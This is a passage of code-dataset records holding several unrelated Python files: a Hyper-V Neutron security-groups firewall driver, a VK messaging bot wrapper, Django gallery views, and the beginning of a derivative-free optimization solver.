self.s.close()\r\n self.s = None\r\n \r\n\r\n\r\n","sub_path":"master/MessageCenter.py","file_name":"MessageCenter.py","file_ext":"py","file_size_in_byte":6954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"81812014","text":"# Copyright 2014 Cloudbase Solutions SRL\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport threading\n\nimport netaddr\nfrom neutron.agent import firewall\nfrom neutron_lib import constants\nfrom os_win import exceptions\nfrom os_win.utils.network import networkutils\nfrom os_win import utilsfactory\nfrom oslo_log import log as logging\nimport six\n\nfrom networking_hyperv.common.i18n import _LE, _LI # noqa\nfrom networking_hyperv.neutron import _common_utils as c_utils\n\nLOG = logging.getLogger(__name__)\n\nDIRECTION_IP_PREFIX = {constants.INGRESS_DIRECTION: 'source_ip_prefix',\n constants.EGRESS_DIRECTION: 'dest_ip_prefix'}\n\nACL_PROP_MAP = {\n 'direction': {'ingress': networkutils.NetworkUtils._ACL_DIR_IN,\n 'egress': networkutils.NetworkUtils._ACL_DIR_OUT},\n 'ethertype': {'IPv4': networkutils.NetworkUtils._ACL_TYPE_IPV4,\n 'IPv6': networkutils.NetworkUtils._ACL_TYPE_IPV6},\n 'protocol': {'tcp': networkutils.NetworkUtils._TCP_PROTOCOL,\n 'udp': networkutils.NetworkUtils._UDP_PROTOCOL,\n 'icmp': networkutils.NetworkUtils._ICMP_PROTOCOL,\n 'ipv6-icmp': networkutils.NetworkUtils._ICMPV6_PROTOCOL,\n 'icmpv6': networkutils.NetworkUtils._ICMPV6_PROTOCOL},\n 'action': {'allow': networkutils.NetworkUtils._ACL_ACTION_ALLOW,\n 'deny': networkutils.NetworkUtils._ACL_ACTION_DENY},\n 'default': \"ANY\",\n 'address_default': {'IPv4': '0.0.0.0/0', 'IPv6': '::/0'}\n}\n\n\n_ports_synchronized = c_utils.get_port_synchronized_decorator('n-hv-driver-')\n\n\nclass HyperVSecurityGroupsDriverMixin(object):\n \"\"\"Security Groups Driver.\n\n Security Groups implementation for Hyper-V VMs.\n \"\"\"\n\n def __init__(self):\n self._utils = utilsfactory.get_networkutils()\n self._sg_gen = SecurityGroupRuleGeneratorR2()\n self._sec_group_rules = {}\n self._security_ports = {}\n self._sg_members = {}\n self._sg_rule_templates = {}\n self.cache_lock = threading.Lock()\n\n # TODO(claudiub): remove this on the next os-win release.\n clear_cache = lambda port_id: ( # noqa: E731\n self._utils._sg_acl_sds.pop(port_id, None))\n self._utils.clear_port_sg_acls_cache = clear_cache\n\n def _select_sg_rules_for_port(self, port, direction):\n sg_ids = port.get('security_groups', [])\n port_rules = []\n fixed_ips = port.get('fixed_ips', [])\n for sg_id in sg_ids:\n for rule in self._sg_rule_templates.get(sg_id, []):\n if rule['direction'] != direction:\n continue\n remote_group_id = rule.get('remote_group_id')\n if not remote_group_id:\n grp_rule = rule.copy()\n grp_rule.pop('security_group_id', None)\n port_rules.append(grp_rule)\n continue\n ethertype = rule['ethertype']\n for ip, mac in self._sg_members[remote_group_id][ethertype]:\n if ip in fixed_ips:\n continue\n ip_rule = rule.copy()\n direction_ip_prefix = DIRECTION_IP_PREFIX[direction]\n ip_rule[direction_ip_prefix] = str(\n netaddr.IPNetwork(ip).cidr)\n # NOTE(claudiub): avoid returning fields that are not\n # directly used in setting the security group rules\n # properly (remote_group_id, security_group_id), as they\n # only make testing for rule's identity harder.\n ip_rule.pop('security_group_id', None)\n ip_rule.pop('remote_group_id', None)\n port_rules.append(ip_rule)\n return port_rules\n\n def filter_defer_apply_on(self):\n \"\"\"Defer application of filtering rule.\"\"\"\n pass\n\n def filter_defer_apply_off(self):\n \"\"\"Turn off deferral of rules and apply the rules now.\"\"\"\n pass\n\n def update_security_group_rules(self, sg_id, sg_rules):\n LOG.debug(\"Update rules of security group (%s)\", sg_id)\n with self.cache_lock:\n self._sg_rule_templates[sg_id] = sg_rules\n\n def update_security_group_members(self, sg_id, sg_members):\n LOG.debug(\"Update members of security group (%s)\", sg_id)\n with self.cache_lock:\n self._sg_members[sg_id] = sg_members\n\n def _generate_rules(self, ports):\n newports = {}\n for port in ports:\n _rules = []\n _rules.extend(self._select_sg_rules_for_port(\n port, constants.INGRESS_DIRECTION))\n _rules.extend(self._select_sg_rules_for_port(\n port, constants.EGRESS_DIRECTION))\n newports[port['id']] = _rules\n return newports\n\n @c_utils.ignore_missing_ports\n def prepare_port_filter(self, port):\n if not port.get('port_security_enabled'):\n LOG.info('Port %s does not have security enabled. '\n 'Skipping rules creation.', port['id'])\n return\n LOG.debug('Creating port %s rules', len(port['security_group_rules']))\n\n # newly created port, add default rules.\n if port['device'] not in self._security_ports:\n LOG.debug('Creating default reject rules.')\n self._sec_group_rules[port['id']] = []\n\n def_sg_rules = self._sg_gen.create_default_sg_rules()\n self._add_sg_port_rules(port, def_sg_rules)\n # Add provider rules\n provider_rules = port['security_group_rules']\n self._create_port_rules(port, provider_rules)\n\n newrules = self._generate_rules([port])\n self._create_port_rules(port, newrules[port['id']])\n\n self._security_ports[port['device']] = port\n self._sec_group_rules[port['id']] = newrules[port['id']]\n\n @_ports_synchronized\n def _create_port_rules(self, port, rules):\n sg_rules = self._sg_gen.create_security_group_rules(rules)\n old_sg_rules = self._sec_group_rules[port['id']]\n add, rm = self._sg_gen.compute_new_rules_add(old_sg_rules, sg_rules)\n\n self._add_sg_port_rules(port, list(set(add)))\n self._remove_sg_port_rules(port, list(set(rm)))\n\n @_ports_synchronized\n def _remove_port_rules(self, port, rules):\n sg_rules = self._sg_gen.create_security_group_rules(rules)\n self._remove_sg_port_rules(port, list(set(sg_rules)))\n\n def _add_sg_port_rules(self, port, sg_rules):\n if not sg_rules:\n return\n old_sg_rules = self._sec_group_rules[port['id']]\n try:\n self._utils.create_security_rules(port['id'], sg_rules)\n old_sg_rules.extend(sg_rules)\n except exceptions.NotFound:\n # port no longer exists.\n # NOTE(claudiub): In the case of a rebuild / shelve, the\n # neutron port is not deleted, and it can still be in the cache.\n # We need to make sure the port's caches are cleared since it is\n # not valid anymore. The port will be reprocessed in the next\n # loop iteration.\n self._sec_group_rules.pop(port['id'], None)\n self._security_ports.pop(port.get('device'), None)\n raise\n except Exception:\n LOG.exception('Exception encountered while adding rules for '\n 'port: %s', port['id'])\n raise\n\n def _remove_sg_port_rules(self, port, sg_rules):\n if not sg_rules:\n return\n old_sg_rules = self._sec_group_rules[port['id']]\n try:\n self._utils.remove_security_rules(port['id'], sg_rules)\n for rule in sg_rules:\n if rule in old_sg_rules:\n old_sg_rules.remove(rule)\n except exceptions.NotFound:\n # port no longer exists.\n self._sec_group_rules.pop(port['id'], None)\n self._security_ports.pop(port.get('device'), None)\n raise\n except Exception:\n LOG.exception('Exception encountered while removing rules for '\n 'port: %s', port['id'])\n raise\n\n def apply_port_filter(self, port):\n LOG.info('Applying port filter.')\n\n @c_utils.ignore_missing_ports\n def update_port_filter(self, port):\n if not port.get('port_security_enabled'):\n LOG.info('Port %s does not have security enabled. '\n 'Removing existing rules if any.', port['id'])\n self._security_ports.pop(port.get('device'), None)\n self._sec_group_rules.pop(port['id'], None)\n self._utils.remove_all_security_rules(port['id'])\n return\n LOG.info('Updating port rules.')\n\n if port['device'] not in self._security_ports:\n LOG.info(\"Device %(port)s not yet added. Adding.\",\n {'port': port['id']})\n self.prepare_port_filter(port)\n return\n\n old_port = self._security_ports[port['device']]\n old_provider_rules = old_port['security_group_rules']\n added_provider_rules = port['security_group_rules']\n # Generate the rules\n added_rules = self._generate_rules([port])\n # Expand wildcard rules\n expanded_rules = self._sg_gen.expand_wildcard_rules(\n added_rules[port['id']])\n # Consider added provider rules (if any)\n new_rules = [r for r in added_provider_rules\n if r not in old_provider_rules]\n # Build new rules to add\n new_rules.extend([r for r in added_rules[port['id']]\n if r not in self._sec_group_rules[port['id']]])\n # Remove non provider rules\n remove_rules = [r for r in self._sec_group_rules[port['id']]\n if r not in added_rules[port['id']]]\n # Remove for non provider rules\n remove_rules.extend([r for r in old_provider_rules\n if r not in added_provider_rules])\n # Avoid removing or adding rules which are contained in wildcard rules\n new_rules = [r for r in new_rules if r not in expanded_rules]\n remove_rules = [r for r in remove_rules if r not in expanded_rules]\n\n LOG.info(\"Creating %(new)s new rules, removing %(old)s old rules.\",\n {'new': len(new_rules),\n 'old': len(remove_rules)})\n\n self._create_port_rules(port, new_rules)\n self._remove_port_rules(old_port, remove_rules)\n\n self._security_ports[port['device']] = port\n self._sec_group_rules[port['id']] = added_rules[port['id']]\n\n @c_utils.ignore_missing_ports\n def remove_port_filter(self, port):\n LOG.info('Removing port filter')\n self._security_ports.pop(port['device'], None)\n self._sec_group_rules.pop(port['id'], None)\n self._utils.clear_port_sg_acls_cache(port['id'])\n\n def security_group_updated(self, action_type, sec_group_ids,\n device_id=None):\n pass\n\n @property\n def ports(self):\n return self._security_ports\n\n\nclass SecurityGroupRuleGenerator(object):\n\n def create_security_group_rules(self, rules):\n security_group_rules = []\n for rule in rules:\n security_group_rules.extend(self.create_security_group_rule(rule))\n return security_group_rules\n\n def create_security_group_rule(self, rule):\n # TODO(claudiub): implement\n pass\n\n def _get_rule_remote_address(self, rule):\n if rule['direction'] == 'ingress':\n ip_prefix = 'source_ip_prefix'\n else:\n ip_prefix = 'dest_ip_prefix'\n\n if ip_prefix in rule:\n return rule[ip_prefix]\n return ACL_PROP_MAP['address_default'][rule['ethertype']]\n\n\nclass SecurityGroupRuleGeneratorR2(SecurityGroupRuleGenerator):\n\n def create_security_group_rule(self, rule):\n local_port = self._get_rule_port_range(rule)\n direction = ACL_PROP_MAP['direction'][rule['direction']]\n remote_address = self._get_rule_remote_address(rule)\n remote_address = remote_address.split('/128', 1)[0]\n protocol = self._get_rule_protocol(rule)\n if protocol == ACL_PROP_MAP['default']:\n # ANY protocols must be split up, to make stateful rules.\n protocols = list(set(ACL_PROP_MAP['protocol'].values()))\n else:\n protocols = [protocol]\n\n sg_rules = [SecurityGroupRuleR2(direction=direction,\n local_port=local_port,\n protocol=proto,\n remote_addr=remote_address)\n for proto in protocols]\n\n return sg_rules\n\n def create_default_sg_rules(self):\n ip_type_pairs = [(ACL_PROP_MAP['ethertype'][ip],\n ACL_PROP_MAP['address_default'][ip])\n for ip in six.iterkeys(ACL_PROP_MAP['ethertype'])]\n\n action = ACL_PROP_MAP['action']['deny']\n port = ACL_PROP_MAP['default']\n sg_rules = []\n for direction in ACL_PROP_MAP['direction'].values():\n for protocol in set(ACL_PROP_MAP['protocol'].values()):\n for acl_type, address in ip_type_pairs:\n sg_rules.append(SecurityGroupRuleR2(direction=direction,\n local_port=port,\n protocol=protocol,\n remote_addr=address,\n action=action))\n return sg_rules\n\n def compute_new_rules_add(self, old_rules, new_rules):\n add_rules = [r for r in new_rules if r not in old_rules]\n return add_rules, []\n\n def expand_wildcard_rules(self, rules):\n wildcard_rules = [\n r for r in rules\n if self._get_rule_protocol(r) == ACL_PROP_MAP['default']]\n rules = []\n for r in wildcard_rules:\n rule_copy = r.copy()\n if rule_copy['direction'] == 'ingress':\n ip_prefix = 'source_ip_prefix'\n else:\n ip_prefix = 'dest_ip_prefix'\n if ip_prefix not in rule_copy:\n rule_copy[ip_prefix] = (\n ACL_PROP_MAP['address_default'][rule_copy['ethertype']])\n for proto in list(set(ACL_PROP_MAP['protocol'].keys())):\n rule_to_add = rule_copy.copy()\n rule_to_add['protocol'] = proto\n rules.extend([rule_to_add])\n return rules\n\n def _get_rule_port_range(self, rule):\n if 'port_range_min' in rule and 'port_range_max' in rule:\n return '%s-%s' % (rule['port_range_min'],\n rule['port_range_max'])\n return ACL_PROP_MAP['default']\n\n def _get_rule_protocol(self, rule):\n protocol = self._get_rule_prop_or_default(rule, 'protocol')\n if protocol == 'icmp' and rule.get('ethertype') == 'IPv6':\n # If protocol is ICMP and ethertype is IPv6 the protocol has\n # to be ICMPv6.\n return ACL_PROP_MAP['protocol']['ipv6-icmp']\n if protocol in six.iterkeys(ACL_PROP_MAP['protocol']):\n return ACL_PROP_MAP['protocol'][protocol]\n\n return protocol\n\n def _get_rule_prop_or_default(self, rule, prop):\n if prop in rule:\n return rule[prop]\n return ACL_PROP_MAP['default']\n\n\nclass SecurityGroupRuleBase(object):\n\n _FIELDS = []\n\n def __eq__(self, obj):\n for f in self._FIELDS:\n if not hasattr(obj, f) or getattr(obj, f) != getattr(self, f):\n return False\n return True\n\n def __str__(self):\n return str(self.to_dict())\n\n def __repr__(self):\n return str(self)\n\n def to_dict(self):\n return dict((field, getattr(self, field)) for field in self._FIELDS)\n\n\nclass SecurityGroupRuleR2(SecurityGroupRuleBase):\n\n _FIELDS = [\"Direction\", \"Action\", \"LocalPort\", \"Protocol\",\n \"RemoteIPAddress\", \"Stateful\", \"IdleSessionTimeout\"]\n\n IdleSessionTimeout = 0\n Weight = 65500\n\n def __init__(self, direction, local_port, protocol, remote_addr,\n action=ACL_PROP_MAP['action']['allow']):\n is_not_icmp = protocol not in [ACL_PROP_MAP['protocol']['icmp'],\n ACL_PROP_MAP['protocol']['ipv6-icmp']]\n\n self.Direction = direction\n self.Action = action\n self.LocalPort = str(local_port) if is_not_icmp else ''\n self.Protocol = protocol\n self.RemoteIPAddress = remote_addr\n self.Stateful = (is_not_icmp and\n action is not ACL_PROP_MAP['action']['deny'])\n\n self._cached_hash = hash((direction, action, self.LocalPort,\n protocol, remote_addr))\n\n def __lt__(self, obj):\n return self.Protocol > obj.Protocol\n\n def __hash__(self):\n return self._cached_hash\n\n\nclass HyperVSecurityGroupsDriver(HyperVSecurityGroupsDriverMixin,\n firewall.FirewallDriver):\n pass\n","sub_path":"networking_hyperv/neutron/security_groups_driver.py","file_name":"security_groups_driver.py","file_ext":"py","file_size_in_byte":17781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"208492993","text":"import vk\r\nimport core.logger as logger\r\nfrom core.Iter import Iter\r\nfrom time import sleep\r\nfrom config import LAST_DATE\r\n\r\nclass Api:\r\n\tdef __init__(self, user_id, user_token):\r\n\t\tself.id = user_id;\r\n\t\tsession = vk.Session(user_token)\r\n\t\tself.vk_api = vk.API(session, v='5.52')\r\n\r\n\tdef next_dialog(self, values: dict, dialogs: list) -> list:\r\n\t\tif values['offset'] == values['count'] and values['offset']:\r\n\t\t\traise StopIteration\r\n\t\tnew_dialogs = self.get_dialog(offset = values['offset'])\r\n\t\tif len(new_dialogs) == 1: \r\n\t\t\traise StopIteration\r\n\t\tvalues['offset'] += len(new_dialogs['items'])\r\n\t\tvalues['count'] = new_dialogs['count']\r\n\t\treturn new_dialogs['items']\r\n\r\n\tdef get_dialog(self, offset = 0) -> list:\r\n\t\ttry:\r\n\t\t\tdialog = self.vk_api.messages.getDialogs(offset = offset)\r\n\t\texcept BaseException as e:\r\n\t\t\tmsg = 'Error: ' + self.id + \" : \" + str(e)\r\n\t\t\tlogger.log_error(msg)\r\n\t\t\tprint(msg)\r\n\t\t\traise StopIteration\r\n\t\treturn dialog\r\n\r\n\tdef get_request(self, user_id: int) -> dict:\r\n\t\ttry:\r\n\t\t\thistory = self.vk_api.messages.getHistory(user_id = user_id)\r\n\t\t\thistory = history['items']\r\n\t\texcept BaseException as e:\r\n\t\t\tmsg = \"Error: \" + self.id + \" : \" + str(e)\r\n\t\t\tlogger.log_error(msg)\r\n\t\t\tprint(msg)\r\n\t\t\treturn False\r\n\t\tcurrent_message = history[0]\r\n\t\trequest = {}\r\n\t\trequest['text'] = current_message['body']\r\n\t\trequest['user_id'] = current_message['user_id']\r\n\t\tif 'attachments' in current_message:\r\n\t\t\trequest['attachments'] = current_message['attachments']\r\n\t\telse:\r\n\t\t\trequest['attachments'] = []\r\n\t\trequest['msg_id'] = current_message['id']\r\n\t\treturn request\r\n\r\n\tdef get_messages(self) -> 'generator':\r\n\t\tvalues = {\r\n\t\t\t'offset': 0,\r\n\t\t\t'count': 0\r\n\t\t}\r\n\r\n\t\tdialogs_iterator = Iter([], values, self.next_dialog)\r\n\t\tend_cycle = False\r\n\t\tfor dialogs_arr in dialogs_iterator:\r\n\t\t\tfor current_dialog in dialogs_arr:\r\n\t\t\t\tcurrent_dialog = current_dialog['message']\r\n\t\t\t\tif current_dialog['date'] < LAST_DATE:\r\n\t\t\t\t\tend_cycle = True\r\n\t\t\t\t\tbreak\r\n\t\t\t\tif current_dialog['out'] or current_dialog['read_state']:\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tdialog = {\r\n\t\t\t\t\t'user_id': current_dialog['user_id'],\r\n\t\t\t\t\t'text': current_dialog['body']\r\n\t\t\t\t}\r\n\t\t\t\tyield dialog\r\n\t\t\tif end_cycle: break\r\n\t\t\t\r\n\r\n\r\n\tdef send_response(self, user_id: int, response: dict) -> bool:\r\n\t\tprint(response)\r\n\t\tif not(response):\r\n\t\t\treturn False\r\n\t\tif 'attachments' in response:\r\n\t\t\tattachments = ','.join(response['attachments'])\r\n\t\telse:\r\n\t\t\tattachments = ''\r\n\t\tif 'text' in response:\r\n\t\t\ttext = response['text']\r\n\t\telse:\r\n\t\t\ttext = ''\r\n\t\tif not(text) and not(attachments):\r\n\t\t\treturn False\r\n\t\treply = False\r\n\t\ttry:\r\n\t\t\treply = self.vk_api.messages.send(user_id = user_id, message = text, attachment = attachments)\r\n\t\texcept BaseException as e:\r\n\t\t\tmsg = \"Send : \" + str(e)\r\n\t\t\tlogger.log_error(msg)\r\n\t\t\tprint(msg)\r\n\t\t\treturn False\r\n\t\treturn bool(reply)","sub_path":"vkapi.py","file_name":"vkapi.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"310698060","text":"from django.shortcuts import render\nfrom django.template import context, loader\nfrom django.http import HttpResponse\nfrom .models import project\n\n\ndef gallery(request):\n gallery_list = project.objects.all()\n template = loader.get_template('templates/gallery/prosjekter.html')\n context = {\n 'gallery_list': gallery_list,\n }\n return HttpResponse(template.render(context, request))\n\n\ndef enkelt_prosjekt(request, project_id):\n template = loader.get_template('templates/gallery/enkelt_prosjekt.html')\n project = project.objects.get(pk=project_id)\n context = {\n 'project': project,\n }\n return HttpResponse(template.render(context, request))","sub_path":"apps/gallery/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"520408391","text":"\"\"\"\nMain solver\n===========\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n\nThe development of this software was sponsored by NAG Ltd. (http://www.nag.co.uk)\nand the EPSRC Centre For Doctoral Training in Industrially Focused Mathematical\nModelling (EP/L015803/1) at the University of Oxford. Please contact NAG for\nalternative licensing.\n\"\"\"\n\n# Ensure compatibility with Python 2\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport logging\nimport numpy as np\nimport warnings\n\nfrom .diagnostic_info import *\nfrom .exit_information import *\nfrom .hessian import Hessian\nfrom .model import *\nfrom .params import ParameterList\nfrom .trust_region import trsbox, trsbox_linear\nfrom .util import sumsq, apply_scaling, remove_scaling, eval_objective, \\\n random_orthog_directions_new_subspace_within_bounds\n\n\n__all__ = ['solver']\n\n\ndef min_npt(p):\n return p + 1\n\n\ndef max_npt(p):\n return (p + 1) * (p + 2) // 2\n\n\ndef trust_region_step(gk, Hk, delta):\n # Light trust-region subproblem wrapper (for problems without bound constraints)\n p = len(gk)\n xl = np.full((p,), -1e20)\n xu = np.full((p,), 1e20)\n if Hk is not None:\n sk_red, _, crvmin = trsbox(np.zeros((p,)), gk, Hk, xl, xu, delta) # step in reduced space\n else:\n sk_red = trsbox_linear(gk, xl, xu, delta)\n crvmin = 0.0\n return sk_red, crvmin\n\n\ndef update_tr(delta, rho, ratio, norm_sk, params):\n if params(\"tr_radius.update_method\") == 'bobyqa':\n if ratio < params(\"tr_radius.eta1\"): # ratio < 0.1\n iter_type = ITER_ACCEPTABLE if ratio > 0.0 else ITER_UNSUCCESSFUL\n delta = min(params(\"tr_radius.gamma_dec\") * delta, norm_sk)\n\n elif ratio <= params(\"tr_radius.eta2\"): # 0.1 <= ratio <= 0.7\n iter_type = ITER_SUCCESSFUL\n delta = max(params(\"tr_radius.gamma_dec\") * delta, norm_sk)\n\n else: # (ratio > eta2 = 0.7)\n iter_type = ITER_VERY_SUCCESSFUL\n delta = min(max(params(\"tr_radius.gamma_inc\") * delta, params(\"tr_radius.gamma_inc_overline\") * norm_sk),\n params(\"tr_radius.delta_max\"))\n\n else:\n raise RuntimeError(\"Unknown TR updating method: %s\" % params(\"tr_radius.update_method\"))\n\n if params(\"tr_radius.use_rho\"):\n delta = max(delta, rho)\n return delta, iter_type\n\n\ndef done_with_current_rho(rho, last_successful_iter, current_iter, diffs, crvmin, in_safety=False):\n # crvmin comes from trust region step\n\n # Wait at least 3 iterations between reductions of rho\n if current_iter <= last_successful_iter + 5:\n return False\n\n errbig = max(diffs)\n frhosq = 0.125 * rho ** 2\n # if in_safety and crvmin > 0.0 and errbig > frhosq * crvmin:\n # logging.debug(\"Not reducing because of this (crvmin = %g)\" % crvmin)\n # return False\n\n # Otherwise...\n return True\n\n\ndef reduce_rho(delta, rho, rhoend, params):\n if delta > 1.5*rho: # nothing needed if delta > rho\n return delta, rho\n\n alpha1 = params(\"tr_radius.alpha1\")\n alpha2 = params(\"tr_radius.alpha2\")\n ratio = rho / rhoend\n if ratio <= 16.0:\n new_rho = rhoend\n elif ratio <= 250.0:\n new_rho = np.sqrt(ratio) * rhoend # geometric average of rho and rhoend\n else:\n new_rho = alpha1 * rho\n\n new_delta = max(alpha2 * rho, new_rho) # self.rho = old rho\n return new_delta, new_rho\n\n\ndef eval_objfun(model, x, objfun, args, scaling_changes, nf, maxfun, params):\n # Simple wrapper to objective evaluation, returning exit codes as needed\n nf += 1\n f = eval_objective(objfun, remove_scaling(x, scaling_changes), args=args,\n eval_num=nf, full_x_thresh=params(\"logging.n_to_print_whole_x_vector\"),\n check_for_overflow=params(\"general.check_objfun_for_overflow\"))\n\n if f <= model.min_objective_value():\n model.save_point(x, f) # save, since this point was an improvement\n exit_info = ExitInformation(EXIT_SUCCESS, \"Objective is sufficiently small\")\n\n elif nf >= maxfun:\n model.save_point(x, f) # save, just in case this point was an improvement\n exit_info = ExitInformation(EXIT_MAXFUN_WARNING, \"Objective has been called MAXFUN times\")\n\n else:\n exit_info = None\n\n return f, exit_info, nf\n\n\ndef add_hessian_points(model, delta, objfun, args, scaling_changes, nf, maxfun, params, npts_to_add=None):\n # Determine a collection of new points to add to the model, so it has a nice Hessian\n if not model.have_hess:\n return None, model, nf\n\n if npts_to_add is None:\n npts_to_add = model.hess_npt - model.num_hess_pts\n if npts_to_add <= 0:\n return None, model, nf\n\n logging.debug(\"Adding %g points for Hessian\" % npts_to_add)\n model.factorise_simplex_system()\n exit_info = None\n\n xs = np.zeros((npts_to_add, model.n))\n fs = np.zeros((npts_to_add,))\n i = 0 # which point are we currently adding\n\n # Select which types to use based on strategy (remainder of points added randomly)\n strategy = params(\"hessian.strategy\")\n use_simplex_model_min = False\n use_simplex_geom_improving = False\n use_nelder_mead = False\n if strategy == 'random':\n pass # nothing\n elif strategy == 'model_plus_random':\n use_simplex_model_min = True\n elif strategy == 'geom_plus_random':\n use_simplex_geom_improving = True\n elif strategy == 'nelder_mead':\n use_nelder_mead = True\n elif strategy == 'model_plus_nelder_mead':\n use_simplex_model_min = True\n use_nelder_mead = True\n elif strategy == 'model_plus_geom':\n use_simplex_model_min = True\n use_simplex_geom_improving = True\n else:\n raise RuntimeError('Unknown Hessian strategy: %s' % strategy)\n\n # An obvious choice is the minimizer of the simplex model\n if use_simplex_model_min and npts_to_add > 0:\n interp_ok, c, g = model.build_simplex_interp_model(gradient_in_full_space=False) # based at xopt, in reduced space\n if interp_ok: # minimize linear model inside trust-region\n alpha = delta / np.linalg.norm(g)\n xmin = model.xopt() + model.project_to_full_space(-alpha*g)\n # Check not too close to existing interpolation points\n for k in range(model.p + 1):\n if np.linalg.norm(xmin - model.xpt(k)) < params(\"hessian.min_point_distance_frac\") * delta:\n logging.debug(\"Hessian points: not considering simplex minimizer as too close to existing point\")\n xmin = None\n else:\n logging.debug(\"Hessian points: not considering simplex minimizer as interpolation failed\")\n xmin = None # interpolation failed, no minimizer available\n\n if xmin is not None:\n logging.debug(\"Evaluating simplex minimizer point for Hessian info\")\n xs[i, :] = xmin\n fs[i], exit_info, nf = eval_objfun(model, xmin, objfun, args, scaling_changes, nf, maxfun, params)\n if exit_info is not None:\n return exit_info, model, nf\n # Move on to next point\n npts_to_add -= 1\n i += 1\n\n # Another sensible choice is a geometry-improving point for the simplex\n if use_simplex_geom_improving and npts_to_add > 0:\n poisedness = model.poisedness_of_each_simplex_point(delta=delta)\n if np.any(np.isnan(poisedness)):\n logging.debug(\"Hessian points: not considering simplex geometry as interpolation failed\")\n xgeom = None\n else:\n kbad = np.argmax(poisedness)\n interp_ok, c, g = model.simplex_lagrange_poly(kbad, gradient_in_full_space=False)\n if not interp_ok:\n logging.debug(\"Hessian points: not considering simplex geometry as interpolation failed\")\n xgeom = None\n else:\n normg = np.linalg.norm(g)\n if abs(c + delta * normg) > abs(c - delta * normg): # max or min Lagrange to get worse abs val?\n xgeom = model.xopt() + model.project_to_full_space(delta * g / normg)\n else:\n xgeom = model.xopt() + model.project_to_full_space(-delta * g / normg)\n\n if xgeom is not None:\n logging.debug(\"Evaluating geometry-improving point for Hessian info\")\n xs[i, :] = xgeom\n fs[i], exit_info, nf = eval_objfun(model, xgeom, objfun, args, scaling_changes, nf, maxfun, params)\n if exit_info is not None:\n return exit_info, model, nf\n # Move on to next point\n npts_to_add -= 1\n i += 1\n\n # The points that Nelder-Mead would check\n if use_nelder_mead and npts_to_add > 0:\n kmax = np.argmax(model.fvals)\n xmax = model.points[kmax, :] # worst simplex point\n xmid = np.mean(np.delete(model.points, kmax, axis=0), axis=0) # mean of all simplex points except kmax\n new_point = lambda t: xmid + t * (xmax - xmid) # general way to define new points\n\n logging.debug(\"Evaluating %g Nelder-Mead points for Hessian info\" % min(npts_to_add, 4))\n for t in [-1.0, -2.0, -0.5, 0.5]: # reflection, expansion, outside contraction, inside contraction\n if npts_to_add <= 0:\n break # added all Hessian points, skip rest of loop\n xnm = new_point(t)\n xs[i, :] = xnm\n fs[i], exit_info, nf = eval_objfun(model, xnm, objfun, args, scaling_changes, nf, maxfun, params)\n if exit_info is not None:\n return exit_info, model, nf\n # Move on to next point\n npts_to_add -= 1\n i += 1\n\n # Remainder of points are random inside the trust region\n # Get direction from normal distribution [Muller, 1959: https://dl.acm.org/citation.cfm?id=377946]\n # Get radius scaling as Unif([0,1])^(1/dimension) e.g. [Intro of https://core.ac.uk/download/pdf/82404670.pdf]\n for _ in range(npts_to_add):\n s = np.random.normal(size=(model.p,)) # in reduced coordinates\n scaling_factor = np.random.uniform() ** (1.0 / model.p) / np.linalg.norm(s)\n s *= scaling_factor\n xs[i, :] = model.xopt() + delta * model.project_to_full_space(s)\n fs[i], exit_info, nf = eval_objfun(model, xs[i, :], objfun, args, scaling_changes, nf, maxfun, params)\n if exit_info is not None:\n return exit_info, model, nf\n # Move on to next point\n i += 1\n # Don't decrease npts_to_add, since this is essentially done in outer loop\n\n # With xs chosen and evaluated at fs, add to model\n logging.debug(\"Adding Hessian info into model\")\n model.append_hessian_points(xs, fs, delta)\n return exit_info, model, nf\n\n\ndef solve_main(objfun, x0, args, rhobeg, rhoend, maxfun, nruns_so_far, nf_so_far,\n params, scaling_changes, fixed_block_size, hess_npt):\n # First, evaluate objfun at x0 - this gives us m\n logging.debug(\"Block size %g with %g Hessian points\" % (fixed_block_size, hess_npt))\n nf = nf_so_far + 1\n f0 = eval_objective(objfun, remove_scaling(x0, scaling_changes), args=args, eval_num=nf,\n full_x_thresh=params(\"logging.n_to_print_whole_x_vector\"),\n check_for_overflow=params(\"general.check_objfun_for_overflow\"))\n exit_info = None\n\n if f0 <= params(\"model.abs_tol\"):\n exit_info = ExitInformation(EXIT_SUCCESS, \"Objective is sufficiently small\")\n\n if exit_info is not None:\n return x0, f0, None, None, nf, nruns_so_far + 1, exit_info, None\n\n # Initialize model\n delta = rhobeg\n rho = rhobeg if params(\"tr_radius.use_rho\") else 0.0\n model = InterpSet(fixed_block_size, hess_npt, x0, f0, n=len(x0),\n abs_tol=params(\"model.abs_tol\"), precondition=params(\"model.precondition_linear_system\"))\n exit_info, nf = model.initialise_interp_simplex(delta, objfun, args, scaling_changes, nf, maxfun,\n use_coord_directions=params(\"geometry.use_coord_directions\"),\n box_bound_thresh=params(\"geometry.direcion_box_bound_thresh\"),\n full_x_thresh=params(\"logging.n_to_print_whole_x_vector\"),\n check_for_overflow=params(\"general.check_objfun_for_overflow\"))\n if exit_info is not None:\n xopt, fopt = model.get_final_results()\n return xopt, fopt, None, None, nf, nruns_so_far + 1, exit_info, None\n\n if params(\"logging.save_diagnostic_info\"):\n 